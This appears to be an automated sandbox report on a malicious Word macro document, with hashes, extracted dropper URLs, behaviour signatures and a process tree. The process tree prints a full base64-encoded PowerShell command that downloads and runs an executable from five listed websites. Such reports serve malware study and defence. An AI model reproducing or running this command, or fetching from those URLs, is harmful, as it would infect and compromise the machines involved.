Analysis

  • max time kernel
    103s
  • max time network
    47s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 21:33

General

  • Target

    dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822.doc

  • Size

    159KB

  • MD5

    7ddc710efec2afde585c14b7aab0390d

  • SHA1

    ffff91695e0ab3289078686b0f805ecec5fb8d4b

  • SHA256

    dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822

  • SHA512

    05a8c4a6e8481bba138de73b6c600ace4eb67b69c20628f07e1cac66143dcdf889357ff313db79cb4d7cb7cd2bcc9c33182a317c0bc1bf062408a02dbef582dd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.madonnaball.com/wp-content/Xbc/

exe.dropper

http://www.drivingwitharrow.com/wp-content/plugins/w8KF86/

exe.dropper

http://totemrussia.com/6uq9udk/pt9G/

exe.dropper

http://kaziriad.com/wp-admin/8Y98/

exe.dropper

http://movetracker.com/wp-content/MYsw/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:328
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JAB6AEQAQQB4AEcAdwBBAD0AKAAnAFMAJwArACcAQQBvAEEARAAnACsAJwBRAEEAQQAnACkAOwAkAHQAQQBvAGMARABCAEQAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAUQBCAGMAVQBvAEIAQQA9ACgAJwBoACcAKwAnAHQAdABwACcAKwAnADoAJwArACcALwAnACsAJwAvAHcAdwB3ACcAKwAnAC4AbQBhAGQAbwBuAG4AYQAnACsAJwBiAGEAJwArACcAbABsAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgAnACsAJwB0ACcAKwAnAC8AWABiAGMALwBAACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AdwB3ACcAKwAnAHcALgBkAHIAaQB2AGkAbgBnAHcAaQB0AGgAYQByAHIAbwAnACsAJwB3ACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0ALwB3AHAALQBjAG8AbgAnACsAJwB0AGUAJwArACcAbgAnACsAJwB0AC8AcABsAHUAZwBpAG4AcwAvAHcAOABLAEYAOAA2AC8AJwArACcAQAAnACsAJwBoACcAKwAnAHQAdABwACcAKwAnADoALwAnACsAJwAvAHQAJwArACcAbwB0ACcAKwAnAGUAJwArACcAbQByAHUAcwBzAGkAYQAnACsAJwAuAGMAbwBtACcAKwAnAC8ANgB1AHEAOQB1AGQAJwArACcAawAvAHAAJwArACcAdAAnACsAJwA5AEcALwBAAGgAdAB0AHAAOgAvACcAKwAnAC8AawBhAHoAaQByACcAKwAnAGkAYQBkAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAAJwArACcALQBhAGQAbQBpACcAKwAnAG4ALwA4AFkAOQAnACsAJwA4AC8AQABoACcAKwAnAHQAdABwADoALwAvAG0AbwAnACsAJwB2AGUAdAByAGEAYwBrACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAnACsAJwAvACcAKwAnAE0AWQBzAHcALwAnACkALgAoACcAUwAnACsAJwBwAGwAaQB0ACcAKQAuAEkAbgB2AG8AawBlACgAJwBAACcAKQA7ACQAdABRAEIAMQBBAEEAQQBRAD0AKAAnAHcAJwArACcAWABHAEEAQwBVAEEAJwArACcAVQAnACkAOwAkAGkAQgBBAG8AQQBBAEEAIAA9ACAAKAAnADgAMAAnACsAJwA5ACcAKQA7ACQAWQBBAFUAQQBVAEEAdwA9ACgAJwBXACcAKwAnAGMAQQBCAEEAQQAnACsAJwBBAEQAJwApADsAJAByAFgAUQBvAFEAQQBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABpAEIAQQBvAEEAQQBBACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcgBVAFoAWgB4AFEAVQAgAGkAbgAgACQAbABRAEIAYwBVAG8AQgBBACkAewB0AHIAeQB7ACQAdABBAG8AYwBEAEIARAAuACgAJwBEAG8AJwArACcAdwAnACsAJwBuAGwAbwBhAGQARgBpAGwAZQAnACkALgBJAG4AdgBvAGsAZQAoACQAcgBVAFoAWgB4AFEAVQAsACAAJAByAFgAUQBvAFEAQQBBACkAOwAkAGoAQQBaAEQAUQBBAHcARAA9ACgAJwBRAFUAQwBYAEEAVQAnACsAJwBBACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJAByAFgAUQBvAFEAQQBBACkALgAiAEwAZQBuAGAARwBgAFQAaAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAgACQAcgBYAFEAbwBRAEEAQQA7ACQAYgBRAEEAQgBEAFEAPQAoACcAcQBfAEEAQgAnACsAJwBEAEEAJwArACcAQQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBEADQAbwBaAEcAPQAoACcAYwBVAHgAQQBBAEMAJwArACcAXwAnACkAOwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:472

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/328-59-0x0000000070FAD000-0x0000000070FB8000-memory.dmp
      Filesize

      44KB

    • memory/328-55-0x000000006FFC1000-0x000000006FFC3000-memory.dmp
      Filesize

      8KB

    • memory/328-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/328-57-0x0000000076191000-0x0000000076193000-memory.dmp
      Filesize

      8KB

    • memory/328-54-0x0000000072541000-0x0000000072544000-memory.dmp
      Filesize

      12KB

    • memory/328-61-0x0000000000735000-0x0000000000739000-memory.dmp
      Filesize

      16KB

    • memory/328-62-0x0000000000735000-0x0000000000739000-memory.dmp
      Filesize

      16KB

    • memory/328-67-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/472-64-0x000007FEF2EB0000-0x000007FEF3A0D000-memory.dmp
      Filesize

      11.4MB

    • memory/472-65-0x0000000002494000-0x0000000002497000-memory.dmp
      Filesize

      12KB

    • memory/472-66-0x000000000249B000-0x00000000024BA000-memory.dmp
      Filesize

      124KB

    • memory/936-58-0x0000000000000000-mapping.dmp
    • memory/936-60-0x000007FEFBA51000-0x000007FEFBA53000-memory.dmp
      Filesize

      8KB